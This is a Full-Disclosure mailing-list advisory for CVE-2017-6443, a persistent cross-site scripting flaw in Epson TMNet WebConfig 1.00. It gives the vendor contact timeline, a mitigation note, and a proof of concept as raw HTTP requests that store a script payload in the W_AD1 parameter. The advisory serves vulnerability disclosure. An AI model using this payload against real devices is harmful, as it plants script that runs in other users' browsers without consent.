lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
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Message-ID: <ejl3GrwjncMjr-CiFdHkPPtVFt6w0MApeQl6S-7V7Foa0jYAoXHnleW3JZSfANAyAtxyTkuRz40Juve9FTdHBuoGeTn7v76e6nrshL-tUOc=@protonmail.com> Date: Fri, 03 Mar 2017 12:13:18 -0500 From: Michael Benich <benichmt1@...tonmail.com> To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org> Subject: [FD] CVE-2017-6443: Persistent XSS in EPSON TMNet WebConfig Ver. 1.00 Summary: Persistent cross-site scripting (XSS) in the web interface of Epson's TMNet WebConfig Ver 1.00 application allows a remote attacker to introduce arbitary Javascript via manipulation of an unsanitized POST parameter. ------------------------------------------------------------------------ Vendor: EPSON ------------------------------------------------------------------------ Software Link: https://c4b.epson-biz.com/modules/community/index.php?content_id=50 ------------------------------------------------------------------------ Version: 1.00 ------------------------------------------------------------------------ Identifier: CVE-2017-6443 ------------------------------------------------------------------------ Exploit Author: Michael Benich Contact: benichmt1 [at] protonmail.com or @benichmt1 ------------------------------------------------------------------------ PoC: 1) Make a POST request using a proxy application like Burp ------------------------------------------------------------------------ POST /Forms/oadmin_1 HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://XXX.XXX.XXX.XXX/oadmin.htm Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 47 W_AD1=<script>window.alert(0)</script>&W_Link1=&Submit=SUBMIT ------------------------------------------------------------------------ 2) Browsing to the main page will execute your script. This remains persistent for any user who then visits this page. GET /istatus.htm HTTP/1.1 Host: XXX.XXX.XXX.XXX User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://XXX.XXX.XXX.XXX/side.htm Connection: close Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------ Mitigation: The application by default ships without a password - consider adding strong authentication to this portal. ------------------------------------------------------------------------ Timeline: ------------------------------------------------------------------------ 12/1/2016 - Discovery. 12/9/2016 - Emailed support@ , info@ , and domain-admin@ emails. No response. 12/16/2016 - Pinged on Twitter. Recommended to contact through support. 12/22/2016 - Reached on LinkedIn directly to individual listed as Security Engineer and asked to find proper security contact channel. No response, but the connection request was accepted. 3/3/2017 - Disclosure ------------------------------------------------------------------------ _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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